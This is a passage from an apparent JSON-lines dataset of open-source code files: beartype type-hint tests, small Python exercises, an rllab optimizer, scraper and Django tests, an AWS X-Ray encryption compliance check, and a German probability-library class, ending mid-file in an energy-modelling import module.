freemen\u2010sucking Hovels, a',\n )),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n 'Concubine enthralling contractually novel'),\n ),\n ),\n\n # ................{ UNION ~ nested }................\n # Nested unions exercising edge cases induced by Python >= 3.8\n # optimizations leveraging PEP 572-style assignment expressions.\n\n # Nested union of multiple non-\"typing\" types.\n HintPepMetadata(\n hint=list[Union[int, str,]],\n pep_sign=HintSignList,\n isinstanceable_type=list,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # List containing a mixture of integer and string constants.\n HintPithSatisfiedMetadata([\n 'Un\u2010seemly preening, pliant templar curs; and',\n 272,\n ]),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n pith='Un\u2010seemly preening, pliant templar curs; and',\n # Match that the exception message raised for this object\n # declares the types *NOT* satisfied by this object.\n exception_str_match_regexes=(\n r'\\bint\\b',\n r'\\bstr\\b',\n ),\n # Match that the exception message raised for this object\n # does *NOT* contain a newline or bullet delimiter.\n exception_str_not_match_regexes=(\n r'\\n',\n r'\\*',\n ),\n ),\n\n # List of bytestring items.\n HintPithUnsatisfiedMetadata(\n pith=[\n b'Blamelessly Slur-chastened rights forthwith, affrighting',\n b\"Beauty's lurid, beleaguered knolls, eland-leagued and\",\n ],\n # Match that the exception message raised for this object...\n exception_str_match_regexes=(\n # Declares all non-\"typing\" types *NOT* satisfied by a\n # random list item *NOT* satisfying this hint.\n r'\\bint\\b',\n r'\\bstr\\b',\n # Declares the index of the random list item *NOT*\n # satisfying this hint.\n r'\\b[Ll]ist item \\d+\\b',\n ),\n ),\n ),\n ),\n\n # Nested union of one non-\"typing\" type and one \"typing\" type.\n HintPepMetadata(\n hint=Sequence[Union[str, ByteString]],\n pep_sign=HintSignSequence,\n isinstanceable_type=Sequence,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Sequence of string and bytestring constants.\n HintPithSatisfiedMetadata((\n b'For laconically formulaic, knavish,',\n u'Or sordidly sellsword\u2010',\n f'Horded temerities, bravely unmerited',\n )),\n ),\n piths_unsatisfied_meta=(\n # Integer constant.\n HintPithUnsatisfiedMetadata(\n pith=7898797,\n # Match that the exception message raised for this object\n # declares the types *NOT* satisfied by this object.\n exception_str_match_regexes=(\n r'\\bByteString\\b',\n r'\\bstr\\b',\n ),\n # Match that the exception message raised for this object\n # does *NOT* contain a newline or bullet delimiter.\n exception_str_not_match_regexes=(\n r'\\n',\n r'\\*',\n ),\n ),\n\n # Sequence of integer items.\n HintPithUnsatisfiedMetadata(\n pith=((144, 233, 377, 610, 987, 1598, 2585, 4183, 6768,)),\n # Match that the exception message raised for this object...\n exception_str_match_regexes=(\n # Declares all non-\"typing\" types *NOT* satisfied by a\n # random tuple item *NOT* satisfying this hint.\n r'\\bByteString\\b',\n r'\\bstr\\b',\n # Declares the index of the random tuple item *NOT*\n # satisfying this hint.\n r'\\b[Tt]uple item \\d+\\b',\n ),\n ),\n ),\n ),\n\n # Nested union of no non-\"typing\" type and multiple \"typing\" types.\n HintPepMetadata(\n hint=MutableSequence[Union[ByteString, Callable]],\n pep_sign=HintSignMutableSequence,\n isinstanceable_type=MutableSequence,\n is_pep585_builtin=True,\n piths_satisfied_meta=(\n # Mutable sequence of string and bytestring constants.\n HintPithSatisfiedMetadata([\n b\"Canonizing Afrikaans-kennelled Mine canaries,\",\n lambda: 'Of a floridly torrid, hasty love \u2014 that league',\n ]),\n ),\n piths_unsatisfied_meta=(\n # String constant.\n HintPithUnsatisfiedMetadata(\n pith='Effaced.',\n # Match that the exception message raised for this object\n # declares the types *NOT* satisfied by this object.\n exception_str_match_regexes=(\n r'\\bByteString\\b',\n r'\\bCallable\\b',\n ),\n # Match that the exception message raised for this object\n # does *NOT* contain a newline or bullet delimiter.\n exception_str_not_match_regexes=(\n r'\\n',\n r'\\*',\n ),\n ),\n\n # Mutable sequence of string constants.\n HintPithUnsatisfiedMetadata(\n pith=[\n 'Of genteel gentle\u2010folk \u2014 that that \u01b8sper',\n 'At my brand\u2010defaced, landless side',\n ],\n # Match that the exception message raised for this object...\n exception_str_match_regexes=(\n # Declares all non-\"typing\" types *NOT* satisfied by a\n # random list item *NOT* satisfying this hint.\n r'\\bByteString\\b',\n r'\\bCallable\\b',\n # Declares the index of the random list item *NOT*\n # satisfying this hint.\n r'\\b[Ll]ist item \\d+\\b',\n ),\n ),\n ),\n ),\n ))\n", "source": "vcokltfre/beartype", "license": "MIT"} {"text": "from approxeng.task import task, TASKS, resource, RESOURCES, register_resource, run, TaskException\nimport logging\nimport cachetools.func\nfrom time import sleep\n\nLOG = logging.getLogger('demo')\n\n\nlogging.basicConfig(level=logging.INFO)\n\n\n@resource(name='list_resource')\ndef bar():\n return ['a', 'b', 'c']\n\n\nregister_resource('string_resource', 'a value')\n\n\n@resource(name='dep_test_resource')\ndef foo(list_resource):\n return list(reversed(list_resource))\n\n\n@task(name='first_task')\ndef root(dep_test_resource, task_count):\n sleep(0.1)\n LOG.info(task_count)\n LOG.info(dep_test_resource)\n if task_count > 2:\n return 'second_task'\n\n\n@task\ndef second_task(string_resource):\n LOG.info('Ooh, a string \"%s\", too exciting, sleeping for a bit', string_resource)\n # LOG.info(world._dict)\n sleep(0.5)\n raise Exception(\"foo\")\n\n\nLOG.info(TASKS)\nLOG.info(RESOURCES)\n\nrun(root_task='first_task', raise_exceptions=False)\n", "source": "tomoinn/approxeng.task", "license": "Apache-2.0"} {"text": "def RandomUniverse(df):\n df_bootstrap = df.sample(len(df), replace=True)\n return df_bootstrap\n", "source": "hoanglinh171/2020-CS109A", "license": "MIT"} {"text": "from rllab.misc.ext import compile_function, lazydict\nfrom rllab.core.serializable import Serializable\nfrom rllab.optimizers.hf import hf_optimizer\nimport time\nfrom rllab.optimizers.minibatch_dataset import BatchDataset\n\n\nclass HessianFreeOptimizer(Serializable):\n \"\"\"\n Performs unconstrained optimization via Hessian-Free Optimization\n \"\"\"\n\n def __init__(self, max_opt_itr=20, batch_size=32, cg_batch_size=100, callback=None):\n Serializable.quick_init(self, locals())\n self._max_opt_itr = max_opt_itr\n self._opt_fun = None\n self._target = None\n self._batch_size = batch_size\n self._cg_batch_size = cg_batch_size\n self._hf_optimizer = None\n self._callback = callback\n\n def update_opt(self, loss, target, inputs, network_outputs, extra_inputs=None):\n \"\"\"\n :param loss: Symbolic expression for the loss function.\n :param target: A parameterized object to optimize over. It should implement methods of the\n :class:`rllab.core.paramerized.Parameterized` class.\n :param inputs: A list of symbolic variables as inputs\n :return: No return value.\n \"\"\"\n\n self._target = target\n\n if extra_inputs is None:\n extra_inputs = list()\n\n self._hf_optimizer = hf_optimizer(\n _p=target.get_params(trainable=True),\n inputs=(inputs + extra_inputs),\n s=network_outputs,\n costs=[loss],\n )\n\n self._opt_fun = lazydict(\n f_loss=lambda: compile_function(inputs + extra_inputs, loss),\n )\n\n def loss(self, inputs, extra_inputs=None):\n if extra_inputs is None:\n extra_inputs = list()\n return self._opt_fun[\"f_loss\"](*(inputs + extra_inputs))\n\n def optimize(self, inputs, extra_inputs=None):\n\n if extra_inputs is None:\n extra_inputs = list()\n\n# import ipdb; ipdb.set_trace()\n dataset = BatchDataset(inputs=inputs, batch_size=self._batch_size, extra_inputs=extra_inputs)\n cg_dataset = BatchDataset(inputs=inputs, batch_size=self._cg_batch_size, extra_inputs=extra_inputs)\n\n itr = [0]\n start_time = time.time()\n\n if self._callback:\n def opt_callback():\n loss = self._opt_fun[\"f_loss\"](*(inputs + extra_inputs))\n elapsed = time.time() - start_time\n self._callback(dict(\n loss=loss,\n params=self._target.get_param_values(trainable=True),\n itr=itr[0],\n elapsed=elapsed,\n ))\n itr[0] += 1\n else:\n opt_callback = None\n\n self._hf_optimizer.train(\n gradient_dataset=dataset,\n cg_dataset=cg_dataset,\n itr_callback=opt_callback,\n num_updates=self._max_opt_itr,\n preconditioner=True,\n verbose=True\n )\n", "source": "RussellM2020/maml_gps", "license": "MIT"} {"text": "\"\"\"Calculate the Hamming Distance between two DNA Strands.\n\nGiven two strings each representing a DNA strand,\nreturn the Hamming Distance between them.\n\"\"\"\n\n\ndef distance(strand_a, strand_b):\n \"\"\"Calculates the Hamming distance between two strands.\n\n Args:\n strand_a: A string representing a DNA strand.\n strand_b: A string representing a DNA strand.\n\n Returns:\n An integer representing the Hamming Distance between the two strands.\n \"\"\"\n if len(strand_a) != len(strand_b):\n raise ValueError(\"left and right strands must be of equal length\")\n\n hamming_distance = 0\n for idx, elem in enumerate(strand_a):\n if elem != strand_b[idx]:\n hamming_distance += 1\n\n return hamming_distance\n", "source": "volcain-io/exercism.io", "license": "MIT"} {"text": "length = 21\n\nfor i in range(length):\n for j in range(length):\n if (i == j):\n print('*', end=\"\")\n elif (i == length-1-j):\n print('*', end=\"\")\n elif (j == length//2 and i > length//10 and i < 0.9*length ):\n print('*', end=\"\")\n else: \n print(' ', end=\"\")\n print(' ')\n", "source": "sanchit781/HACKTOBERFEST2021_PATTERN", "license": "MIT"} {"text": "\n\nfrom moulton.semantic import *\nfrom moulton.google import *\n", "source": "alvations/moulton", "license": "MIT"} {"text": "from django.http import HttpResponse\nfrom django.shortcuts import resolve_url\n\ndef test_healthcheck_view(client):\n url = resolve_url('healthcheck')\n response = client.get(url)\n assert isinstance(response, HttpResponse)\n assert response.status_code == 200\n assert response.content == ''\n", "source": "hmrc/wristband", "license": "Apache-2.0"} {"text": "\nfrom scraper.watchscraper import MensWatches\nimport unittest\nfrom time import sleep\n\n\nclass WatchScraperTest(unittest.TestCase):\n\n def setUp(self):\n self.scraper = MensWatches()\n self.driver = self.scraper.driver\n self.url = self.scraper._URL\n self.driver.get(self.url)\n\n def test_website_link(self):\n self.assertIn(\"www.goldsmiths.co.uk\", self.driver.current_url)\n\n def test_minimized_navigation(self):\n navigation = MensWatches()\n navigation.mens_watch_nav()\n self.assertIn(\"www.goldsmiths.co.uk/c/Watches/Mens-Watches\", self.driver.current_url)\n \n def test_get_image_source(self):\n link = \"https://www.goldsmiths.co.uk/Omega-Speedmaster-Professional-Moonwatch-First-Watch-On-The-Moon-Certified-By-NASA-O31130423001005/p/17331157\"\n img_source = self.scraper.get_image_source(link)\n image = \"https://content.thewosgroup.com/productimage/17331157/17331157_1.jpg?impolicy=zoom\"\n\n self.assertEqual(img_source, image)\n \n def test_get_properties(self):\n link = \"https://www.goldsmiths.co.uk/Omega-Speedmaster-Professional-Moonwatch-First-Watch-On-The-Moon-Certified-By-NASA-O31130423001005/p/17331157\"\n property_source = self.scraper.get_properties(link)\n returned_property = {'product_name': 'Omega Speedmaster Professional Moonwatch First Watch On The Moon Certified By NASA O31130423001005', 'product_price': '4,260.00', 'product_code': '17331157', 'brand': 'Omega', 'guarantee': 'Omega 5 Year Guarantee', 'watch_markers': 'Batons', 'water_resistant': '50 Metres', 'strap_material': 'Stainless Steel', 'recipient': 'For Him', 'movement': 'Manual Winding', 'dial_colour': 'Black', 'case_material': 'Stainless Steel', 'diameter': '42mm', 'brand_collections': 'Speedmaster'}\n self.assertEqual(property_source, returned_property)", "source": "CrownedDev56/aicore-scraping-project", "license": "MIT"} {"text": "#This file is part of ElectricEye.\n#SPDX-License-Identifier: Apache-2.0\n\n#Licensed to the Apache Software Foundation (ASF) under one\n#or more contributor license agreements. See the NOTICE file\n#distributed with this work for additional information\n#regarding copyright ownership. The ASF licenses this file\n#to you under the Apache License, Version 2.0 (the\n#\"License\"); you may not use this file except in compliance\n#with the License. You may obtain a copy of the License at\n\n#http://www.apache.org/licenses/LICENSE-2.0\n\n#Unless required by applicable law or agreed to in writing,\n#software distributed under the License is distributed on an\n#\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n#KIND, either express or implied. See the License for the\n#specific language governing permissions and limitations\n#under the License.\n\nimport boto3\nimport datetime\nfrom check_register import CheckRegister\n\nregistry = CheckRegister()\n\nxray = boto3.client('xray')\n\n@registry.register_check('xray')\ndef xray_kms_encryption_check(cache: dict, awsAccountId: str, awsRegion: str, awsPartition: str) -> dict:\n \"\"\"[XRAY.1] X-Ray Encryption Configure should use a KMS CMK\"\"\"\n # Check the encryption config for X-Ray. It uses AES-256 by default, but we're looking for KMS\n # ISO Time\n iso8601Time = (datetime.datetime.utcnow().replace(tzinfo=datetime.timezone.utc).isoformat())\n response = xray.get_encryption_config()['EncryptionConfig']\n if str(response['Type']) == 'NONE':\n # This is a failing finding\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": awsAccountId + awsRegion + \"/xray-kms-cmk-encryption-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": awsAccountId + awsRegion + \"xray-encryption\",\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"MEDIUM\"},\n \"Confidence\": 99,\n \"Title\": \"[XRay.1] X-Ray Encryption Configure should use a KMS CMK\",\n \"Description\": \"The AWS X-Ray Encryption Configure for Account \"\n + awsAccountId\n + \" in Region \"\n + awsRegion\n + \" is not using a KMS CMK. Refer to the remediation instructions to remediate this behavior\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"AWS X-Ray always encrypts traces and related data at rest. When you need to audit and disable encryption keys for compliance or internal requirements, you can configure X-Ray to use an AWS Key Management Service (AWS KMS) customer master key (CMK) to encrypt data. See Data Protection in AWS X-Ray for more information.\",\n \"Url\": \"https://docs.aws.amazon.com/xray/latest/devguide/xray-console-encryption.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsXrayEncryptionConfiguration\",\n \"Id\": f\"{awsPartition.upper()}::::Account:{awsAccountId}\",\n \"Partition\": awsPartition,\n \"Region\": awsRegion\n }\n ],\n \"Compliance\": {\n \"Status\": \"FAILED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.DS-1\",\n \"NIST SP 800-53 MP-8\",\n \"NIST SP 800-53 SC-12\",\n \"NIST SP 800-53 SC-28\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.2.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"NEW\"},\n \"RecordState\": \"ACTIVE\",\n }\n yield finding\n else:\n # This is a passing finding\n finding = {\n \"SchemaVersion\": \"2018-10-08\",\n \"Id\": awsAccountId + awsRegion + \"/xray-kms-cmk-encryption-check\",\n \"ProductArn\": f\"arn:{awsPartition}:securityhub:{awsRegion}:{awsAccountId}:product/{awsAccountId}/default\",\n \"GeneratorId\": awsAccountId + awsRegion + \"xray-encryption\",\n \"AwsAccountId\": awsAccountId,\n \"Types\": [\"Software and Configuration Checks/AWS Security Best Practices\"],\n \"FirstObservedAt\": iso8601Time,\n \"CreatedAt\": iso8601Time,\n \"UpdatedAt\": iso8601Time,\n \"Severity\": {\"Label\": \"INFORMATIONAL\"},\n \"Confidence\": 99,\n \"Title\": \"[XRay.1] X-Ray Encryption Configure should use a KMS CMK\",\n \"Description\": \"The AWS X-Ray Encryption Configure for Account \"\n + awsAccountId\n + \" in Region \"\n + awsRegion\n + \" is using a KMS CMK.\",\n \"Remediation\": {\n \"Recommendation\": {\n \"Text\": \"AWS X-Ray always encrypts traces and related data at rest. When you need to audit and disable encryption keys for compliance or internal requirements, you can configure X-Ray to use an AWS Key Management Service (AWS KMS) customer master key (CMK) to encrypt data. See Data Protection in AWS X-Ray for more information.\",\n \"Url\": \"https://docs.aws.amazon.com/xray/latest/devguide/xray-console-encryption.html\",\n }\n },\n \"ProductFields\": {\"Product Name\": \"ElectricEye\"},\n \"Resources\": [\n {\n \"Type\": \"AwsXrayEncryptionConfiguration\",\n \"Id\": f\"{awsPartition.upper()}::::Account:{awsAccountId}\",\n \"Partition\": awsPartition,\n \"Region\": awsRegion\n }\n ],\n \"Compliance\": {\n \"Status\": \"PASSED\",\n \"RelatedRequirements\": [\n \"NIST CSF PR.DS-1\",\n \"NIST SP 800-53 MP-8\",\n \"NIST SP 800-53 SC-12\",\n \"NIST SP 800-53 SC-28\",\n \"AICPA TSC CC6.1\",\n \"ISO 27001:2013 A.8.2.3\",\n ],\n },\n \"Workflow\": {\"Status\": \"RESOLVED\"},\n \"RecordState\": \"ARCHIVED\",\n }\n yield finding", "source": "kbhagi/ElectricEye", "license": "Apache-2.0"} {"text": "\ufeff#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\n\n# \n# BernoulliKette - Klasse von zufall \n# \n \n#\n# This file is part of zufall\n#\n#\n# Copyright (c) 2019 Holger B\u00f6ttcher hbomat@posteo.de\n#\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n\n\n\nimport importlib\n\nfrom inspect import isfunction\n\nfrom sympy.core.numbers import Integer \nfrom sympy.core.symbol import Symbol\nfrom sympy import sympify, nsimplify\nfrom sympy.core.compatibility import iterable\n\nfrom zufall.lib.funktionen.funktionen import is_zahl\nfrom zufall.lib.objekte.zufalls_experiment import ZufallsExperiment, kurz_form \nfrom zufall.lib.objekte.ausnahmen import ZufallError\nimport zufall\t\n\t\nbv = importlib.import_module('zufall.lib.objekte.binomial_verteilung')\nBinomialVerteilung = bv.BinomialVerteilung\nzg = importlib.import_module('zufall.lib.objekte.zufalls_groesse')\nZufallsGroesse = zg.ZufallsGroesse\n\n\t\n\t\n\t\n\n# BernoulliKette - Klasse \n# -----------------------\n#\n\nclass BernoulliKette(BinomialVerteilung): \n \"\"\"\n\t\nBernoulliKette\n\n**Kurzname** **BK**\n\t\n**Erzeugung** \n\t\n BK( *n*, *p* )\n\n**Parameter**\n\n *n* : Anzahl Versuche\n \n *p* : TrefferWahrscheinlichkeit\n\t\t\t\t\t\t\t \n**Zusatz**\n `ze=ja` - Erzeugung eines ZufallsExperiment-Objektes\n \n `a=ja` - Beachtung der Anordnung der Ergebnisse (nur bei `ze=ja` \n wirksam) \n\t\t\t\n `f=funktion` - Erzeugung eines ZufallsGr\u00f6\u00dfe-Objektes anhand der\n angegebenen ZG-Funktion ``funktion``\n\t\t\t\t\t \n `tn = [treffer, niete]` - Namen f\u00fcr Treffer/Niete, Standard=[1, 0];\n Bezeichner, die l\u00e4nger als ein Zeichen sind, m\u00fcssen als \n Zeichenkette eingegeben oder vordeklariert werden, etwa \n ``Wappen = Symbol('Wappen')``\n\t\t\t\t \t \n \"\"\"\n\t\t\t \n def __new__(cls, *args, **kwargs): \n\t\t\t\t\t\n if kwargs.get(\"h\") in (1, 2, 3): \n bernoulli_kette_hilfe(kwargs[\"h\"])\t\t\n return\t\n\t\t\t\t\t\t\t\t\t\t\t\n try:\t\t\t\t\t\t\n if len(args) != 2:\n raise ZufallError(\"zwei Argumente angeben\")\n n, p = args\n n, p = sympify(n), sympify(p)\n if not (is_zahl(n) and is_zahl(p)):\n raise ZufallError(\"die Parameter m\u00fcssen Zahlen sein\")\n if not isinstance(n, (int, Integer)) or n <= 0:\n raise ZufallError(\"die Anzahl Versuche mu\u00df eine ganze positive Zahl sein\")\n if not (0 <= p <= 1):\n raise ZufallError(\"die Trefferwahrscheinlichkeit mu\u00df aus [0,1] sein\")\n p = nsimplify(p, rational=True)\n\t\t\t\n treffer, niete = 1, 0\t\t\t\n if kwargs.get('tn'):\n tn = kwargs.get('tn')\n if not iterable(tn):\t\t\t\t\n raise ZufallError(\"f\u00fcr tn Liste oder Tupel angeben\")\n if not iterable(tn) and len(tn) == 2:\t\t\t\t\n raise ZufallError(\"f\u00fcr tn Liste oder Tupel der L\u00e4nge 2 angeben\")\n treffer, niete = tn\n if not (isinstance(treffer, Symbol) and isinstance(niete, Symbol)):\t\n if isinstance(treffer, str) and isinstance(niete, str):\n treffer, niete = Symbol(treffer), Symbol(niete)\n else:\t\t\t\t\t\t\n raise ZufallError(\"f\u00fcr treffer und niete Namen angeben\")\n\t\t\t\n except ZufallError as e:\n print('zufall:', str(e))\n return\n\t\t\t\n anordn = True\n if kwargs.get('a') == False:\n anordn = False\n\t\t\t\n if kwargs.get('ze'):\n cls._typ = 'ze'\n liste = { treffer:p, niete:1-p }\n if kwargs.get('info') != False:\t\t\t\t\t\t\n print('Erzeugung eines BernoulliKette-ZufallsExperiment-Objektes')\n return ZufallsExperiment(liste, n, a=anordn)\n\n elif kwargs.get('f'):\n cls._typ = 'zg'\n funktion = kwargs.get('f') \n if isinstance(funktion, str):\t\n funktion = eval(funktion)\n if not isfunction(funktion):\n print('zufall: G\u00fcltige ZG-Funktion\t angeben')\n return\t\t\t\t\n ze = ZufallsExperiment({treffer:p, niete:1-p}, n, w=True, a=anordn)\n om = ze.omega_(l=1)\t\t\t\n ve = ze._vert\t\t\t\t\n vert = dict()\n for el in om:\n w = funktion(el)\n try: \n vert[w] += ve[kurz_form(el)]\n except KeyError:\n vert[w] = ve[kurz_form(el)]\n print('Erzeugung eines ZufallsGr\u00f6\u00dfe-Objektes auf Basis der ZG-Funktion')\n return ZufallsGroesse(vert, kontrolle=False)\n\t\t\t\n cls._typ = 'bk'\t\t\t\n bv = BinomialVerteilung(n, p)\n if kwargs.get('info') != False:\t\t\t\t\t\t\n print('Erzeugung eines BernoulliKette-BinomialVerteilung-Objektes')\n return ZufallsGroesse.__new__(cls, bv._vert, parameter=(n, p, treffer, niete), \n kontrolle=False)\t\t\n\t\t\n\n def __str__(self):\n n, p = self.args[1][:2]\n treffer = ',\\;Treffer=' + str(self.treffer)\n niete = ', \\;Niete=' + str(self.niete)\n return \"BernoulliKette(\" + str(n) + \",\\;\" + str(p) + treffer + niete + \")\"\n\t\t\t\t\t\t\t\t\n\t\n\t\n# Eigenschaften\n# -------------\n\n @property\n def n(self):\n \"\"\"L\u00e4nge (Anzahl Versuche)\"\"\"\t\n n, p = self.args[1][:2]\t\n return n\n\t\t\n anzahl = n\t\t\n\n @property\n def p(self):\n \"\"\"Trefferwahrscheinlichkeit\"\"\"\t\n n, p = self.args[1][:2]\t\n return p\n\n @property\n def treffer(self):\n \"\"\"Treffer\"\"\"\t\n return self.args[1][2]\n\t\t\n @property\n def niete(self):\n \"\"\"Niete\"\"\"\t\n return self.args[1][3]\n\t\t\n @property\t\t\n def hilfe(self): \n \"\"\"Bezeichner der Eigenschaften und Methoden\"\"\"\n bernoulli_kette_hilfe(3)\t\n\t\t\n h = hilfe\t\t\t\t\t\n\t\t\n\t\t\n\t\n\t\t\t\t\n# Benutzerhilfe f\u00fcr BernoulliKette\n# --------------------------------\n\ndef bernoulli_kette_hilfe(h):\n \n if h == 1:\n print(\"h=2 - Erzeugung\")\n print(\"h=3 - Eigenschaften und Methoden\")\n return\n\t\t \n if h == 2:\t\t \n print(\"\"\" \\\n\t\t\nBernoulliKette - Objekt\n\t\t \nKurzname BK\t\n\t\t \nErzeugung \tBK( n, p )\t\t\n\n n Anzahl Versuche\n p TrefferWahrscheinlichkeit\n\t\t\t\t\t\t\t \nZusatz ze=ja Erzeugung eines ZufallsExperiment-Objektes\n a=ja Beachtung der Anordnung der Ergebnisse (nur bei ze=ja \n wirksam) \n f=funktion Erzeugung eines ZufallsGr\u00f6\u00dfe-Objektes anhand der\n angegebenen ZG-Funktion funktion\t\t\t\t\n tn = [treffer, niete] Namen f\u00fcr Treffer/Niete, Standard=[1, 0]\n Bezeichner, die l\u00e4nger als ein Zeichen sind, m\u00fcssen als Zeichen- \n kette eingegeben oder vordeklariert werden, etwa \n Wappen = Symbol('Wappen')\n\t\t\t\t \nZuweisung bk = BK(...) (bk - freier Bezeichner)\n\t\t \nBeispiele\nBK( 12, 0.2 ) \nBK( 50, 1/2, tn=['W', 'Z'] )\t\t \n\t \"\"\")\t\t\t\t \n return \n\t\t\n if h == 3: \n print(\"\"\" \\\n\t\t\nEigenschaften und Methoden (M) f\u00fcr BernoulliKette\n \nbk.hilfe Bezeichner der Eigenschaften und Methoden\nbk.anzahl = bk.n (Anzahl/L\u00e4nge/Stufen)\nbk.erw Erwartungswert\t\nbk.erw_(...) ebenso, zugeh\u00f6rige Methode\t\nbk.e_sigma_umg Sigma-Umgebungen des Erwartungswertes\t\t\nbk.F(...) M Verteilungsfunktion\nbk.faust_regel Faustregeln\nbk.formeln Formeln\nbk.graf_F Graf der Verteilungsfunktion\nbk.hist Histogramm\nbk.hist_(...) M ebenso, zugeh\u00f6rige Methode\nbk.hist_kum ebenso, kumulierte Wahrscheinlichkeiten\nbk.n L\u00e4nge der Kette\nbk.niete Niete\nbk.n_omega Gr\u00f6\u00dfe der Ergebnismenge \nbk.nv_approx Approximation durch Normalverteilung \nbk.omega Ergebnismenge\nbk.p Trefferwahrscheinlichkeit \nbk.P(...) M Wahrscheinlichkeit eines Ereignisses\nbk.poly_zug Polygonzug-Diagramm der Wahrscheinlichkeiten\nbk.poly_zug_(...) M ebenso, zugeh\u00f6rige Methode\nbk.p_sigma_umg Sigma-Umgebungen der Wahrscheinlichkeit\nbk.quantil(...) M Quantile\nbk.relh2p M Stabilisierung der relativen H\u00e4ufigkeiten \nbk.sigma Standardabweichung\nbk.sigma_(...) M ebenso, zugeh\u00f6rige Methode\t\nbk.stich_probe(...) M Stichprobe\t\t\nbk.treffer Treffer\nbk.var Varianz\t\t\nbk.var_(...) M ebenso, zugeh\u00f6rige Methode\t\t\nbk.versuch Versuch\t\t\nbk.vert Wahrscheinlichkeitsverteilung\t\t\nbk.vert_(...) M ebenso, zugeh\u00f6rige Methode\t\t\nbk.vert_kum kumulierte Wahrscheinlichkeitsverteilung\nbk.vert_kum_(...) M ebenso, zugeh\u00f6rige Methode\t\n\nSynonyme Bezeichner\n\nhilfe h\nerw_ Erw\ne_sigma_umg eSigmaUmg\nfaust_regel faustRegel\ngraf_F grafF\nhist_ Hist\nhist_kum histKum\nn_omega nOmega\npoly_zug polyZug\npoly_zug_ PolyZug\np_sigma_umg pSigmaUmg\nsigma_ Sigma\nstich_probe stichProbe\nvar_ Var\nvert_ Vert\nvert_kum vertKum\nvert_kum_ VertKum\n\nBei der Erzeugung eines ZufallsExperiment- oder ZufallsGr\u00f6\u00dfe-Objektes \nsiehe entsprechende Hilfeseiten\t\t\n\t \"\"\")\t\t\n return\n\t\t\n\t\t\nBK = BernoulliKette\n\t\t\n\n\n\t\n\n\n", "source": "HBOMAT/AglaUndZufall", "license": "Apache-2.0"} {"text": "from . import DATA_DIR, INVENTORY_DIR\nfrom .clean_datasets import DatabaseCleaner\nfrom .data_collection import IAMDataCollection\nfrom .electricity import Electricity\nfrom .renewables import SolarPV\nfrom .inventory_imports import (\n CarmaCCSInventory,\n BiofuelInventory,\n DACInventory,\n HydrogenInventory,\n BiogasInventory,\n SynfuelInventory,\n SyngasInventory,\n GeothermalInventory,\n LPGInventory,\n CarculatorInventory,\n TruckInventory,\n VariousVehicles,\n AdditionalInventory\n)\nfrom .cement import Cement\nfrom .steel import Steel\nfrom .cars import Cars\nfrom .export import Export\nfrom .utils import eidb_label, add_modified_tags\nimport wurst\nfrom pathlib import Path\nimport copy\nimport os\nimport contextlib\n\n\nFILEPATH_CARMA_INVENTORIES = INVENTORY_DIR / \"lci-Carma-CCS.xlsx\"\nFILEPATH_CHP_INVENTORIES = INVENTORY_DIR / \"lci-combined-heat-power-plant-CCS.xlsx\"\nFILEPATH_DAC_INVENTORIES = INVENTORY_DIR / \"lci-direct-air-capture.xlsx\"\nFILEPATH_BIOFUEL_INVENTORIES = INVENTORY_DIR / \"lci-biofuels.xlsx\"\nFILEPATH_BIOGAS_INVENTORIES = INVENTORY_DIR / \"lci-biogas.xlsx\"\nFILEPATH_HYDROGEN_INVENTORIES = INVENTORY_DIR / \"lci-hydrogen-electrolysis.xlsx\"\nFILEPATH_HYDROGEN_BIOGAS_INVENTORIES = INVENTORY_DIR / \"lci-hydrogen-smr-atr-biogas.xlsx\"\nFILEPATH_HYDROGEN_NATGAS_INVENTORIES = INVENTORY_DIR / \"lci-hydrogen-smr-atr-natgas.xlsx\"\nFILEPATH_HYDROGEN_WOODY_INVENTORIES = (\n INVENTORY_DIR / \"lci-hydrogen-wood-gasification.xlsx\"\n)\nFILEPATH_HYDROGEN_COAL_GASIFICATION_INVENTORIES = (\n INVENTORY_DIR / \"lci-hydrogen-coal-gasification.xlsx\"\n)\nFILEPATH_SYNFUEL_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-FT-from-electrolysis.xlsx\"\n)\nFILEPATH_SYNFUEL_FROM_COAL_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-FT-from-coal.xlsx\"\n)\nFILEPATH_SYNFUEL_FROM_BIOGAS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-FT-from-biogas.xlsx\"\n)\nFILEPATH_SYNFUEL_FROM_NAT_GAS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-FT-from-natural-gas.xlsx\"\n)\nFILEPATH_SYNFUEL_FROM_NAT_GAS_CCS_INVENTORIES = (\n INVENTORY_DIR / \"lci-synfuels-from-FT-from-natural-gas-CCS.xlsx\"\n)\nFILEPATH_SYNFUEL_FROM_PETROLEUM_INVENTORIES = (\n INVENTORY_DIR / 